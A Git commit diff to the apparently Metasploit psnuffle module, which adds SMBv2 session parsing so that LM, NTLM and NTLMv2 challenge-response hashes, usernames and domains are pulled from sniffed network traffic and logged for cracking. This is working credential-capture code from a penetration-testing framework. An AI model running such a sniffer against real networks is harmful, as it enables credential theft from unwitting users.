Merge psnuffle ntlmv2 support from Alex Malateaux

Testing this with smbclient requires setting "client ntlmv2 auth = yes"
in /etc/samba/smb.conf

Squashed commit of the following:

commit 7acc32f5f00914fed355a080ca237543448f80ca
Author: Alexandre Maloteaux <a.maloteaux@gmail.com>
Date:   Thu Apr 12 01:52:49 2012 +0100

    psnuffle : move protocol filtering in load function

commit 9c9ae9711c760b4f072271b7e5993f9bf8366671
Author: Alexandre Maloteaux <a.maloteaux@gmail.com>
Date:   Thu Apr 12 01:50:48 2012 +0100

    psnuffle : add hash exctratiopn from smbv2 session

[Closes #327]
This commit is contained in:
Alexandre Maloteaux 2012-05-08 13:38:42 -06:00 committed by James Lee
parent 86500aad47
commit 452cead1e9
2 changed files with 149 additions and 146 deletions

View File

@ -5,26 +5,31 @@
#
#Memo :
# Authentification without extended security set
#FOR SMBV1
# Authentification without extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 0 and contains server challenge (aka encryption key) and wordcount = 17
#3) client -> server : smb_setup_andx (0x73) : contains lm/ntlm hashes and wordcount = 13 (not 0)
#4) server -> client : smb_setup_andx (0x73) : if status = success then authentification ok
# Authentification with extended security set
# Authentification with extended security set
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#2) server -> client : smb_negotiate (0x72) : smb.flags2.extended_sec = 1
#3) client -> server : smb_setup_andx (0x73) : contains an ntlm_type1 message
#4) server -> client : smb_setup_andx (0x73) : contains an ntlm_type2 message with the server challenge
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
#FOR SMBV2
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
class SnifferSMB < BaseProtocolParser
def register_sigs
self.sigs = {
:setupandx => /\xffSMB\x73/,
:negotiate => /\xffSMB\x72/,
:smb1_negotiate => /\xffSMB\x72/n,
:smb1_setupandx => /\xffSMB\x73/n,
#:smb2_negotiate => /\xFESMB\x40\x00(.){6}\x00\x00/n,
:smb2_setupandx => /\xFESMB\x40\x00(.){6}\x01\x00/n
}
end
@ -45,7 +50,7 @@ class SnifferSMB < BaseProtocolParser
end
case matched
when :negotiate
when :smb1_negotiate
payload = pkt.payload.dup
wordcount = payload[36,1].unpack("C")[0]
#negotiate response
@ -54,13 +59,41 @@ class SnifferSMB < BaseProtocolParser
#the server challenge is here
if flags2 & 0x800 == 0
s[:challenge] = payload[73,8].unpack("H*")[0]
s[:last] = :negotiate
s[:last] = :smb1_negotiate
end
end
when :setupandx
when :smb1_setupandx
s[:smb_version] = "SMBv1"
parse_sessionsetup(pkt, s)
when :smb2_setupandx
s[:smb_version] = "SMBv2"
parse_sessionsetup(pkt, s)
when nil
# No matches, no saved state
else
sessions[s[:session]].merge!({k => matches})
end # end case matched
end # end of each_key
end # end of parse
#ntlmv1, ntlmv2 or ntlm2_session
def detect_ntlm_ver(lmhash, ntlmhash)
return "NTLMv2" if ntlmhash.length > 48
if lmhash.length == 48 and ntlmhash.length == 48
if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16
return "NTLM2_SESSION"
else
return "NTLMv1"
end
else
raise RuntimeError, "Unknow hash type"
end
end
def parse_sessionsetup(pkt, s)
payload = pkt.payload.dup
ntlmpayload = payload[/NTLMSSP\x00.*/m]
if ntlmpayload
ntlmmessagetype = ntlmpayload[8,4].unpack("V")[0]
@ -94,7 +127,7 @@ class SnifferSMB < BaseProtocolParser
else
wordcount = payload[36,1].unpack("C")[0]
#authentification without smb extended security (smbmount, msf server capture)
if wordcount == 13 and s[:last] == :negotiate
if wordcount == 13 and s[:last] == :smb1_negotiate and s[:smb_version] == "SMBv1"
lmlength = payload[51,2].unpack("v")[0]
ntlmlength = payload[53,2].unpack("v")[0]
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
@ -122,7 +155,7 @@ class SnifferSMB < BaseProtocolParser
ntlm_ver = detect_ntlm_ver(s[:lmhash],s[:ntlmhash])
logmessage =
"#{ntlm_ver} Response Captured in session : #{s[:session]} \n" +
"#{ntlm_ver} Response Captured in #{s[:smb_version]} session : #{s[:session]} \n" +
"USER:#{s[:user]} DOMAIN:#{s[:domain]} OS:#{s[:peer_os]} LM:#{s[:peer_lm]}\n" +
"SERVER CHALLENGE:#{s[:challenge]} " +
"\nLMHASH:#{s[:lmhash]} " +
@ -173,30 +206,6 @@ class SnifferSMB < BaseProtocolParser
s[:last] = nil
sessions.delete(s[:session])
end
end
when nil
# No matches, no saved state
else
sessions[s[:session]].merge!({k => matches})
end # end case matched
end # end of each_key
end # end of parse
#ntlmv1, ntlmv2 or ntlm2_session
def detect_ntlm_ver(lmhash, ntlmhash)
return "NTLMv2" if ntlmhash.length > 48
if lmhash.length == 48 and ntlmhash.length == 48
if lmhash != "00" * 24 and lmhash[16,32] == "00" * 16
return "NTLM2_SESSION"
else
return "NTLMv1"
end
else
raise RuntimeError, "Unknow hash type"
end
end
end

View File

@ -64,7 +64,7 @@ class Metasploit3 < Msf::Auxiliary
if (not File.directory?(base))
raise RuntimeError,"The ProtocolBase parameter is set to an invalid directory"
end
allowed = datastore['PROTOCOLS'].split(',').map{|x| x.strip.downcase}
@protos = {}
decoders = Dir.new(base).entries.grep(/\.rb$/).sort
decoders.each do |n|
@ -74,11 +74,13 @@ class Metasploit3 < Msf::Auxiliary
m.module_eval(File.read(f, File.size(f)))
m.constants.grep(/^Sniffer(.*)/) do
proto = $1
if allowed.include?(proto.downcase) or datastore['PROTOCOLS'] == 'all'
klass = m.const_get("Sniffer#{proto}")
@protos[proto.downcase] = klass.new(framework, self)
print_status("Loaded protocol #{proto} from #{f}...")
end
end
rescue ::Exception => e
print_error("Decoder #{n} failed to load: #{e.class} #{e} #{e.backtrace}")
end
@ -95,14 +97,6 @@ class Metasploit3 < Msf::Auxiliary
return
end
# Remove protocols not explicitly allowed
if(datastore['PROTOCOLS'] != 'all')
allowed = datastore['PROTOCOLS'].split(',').map{|x| x.strip.downcase}
newlist = {}
@protos.each_key { |k| newlist[k] = @protos[k] if allowed.include?(k) }
@protos = newlist
end
print_status("Sniffing traffic.....")
open_pcap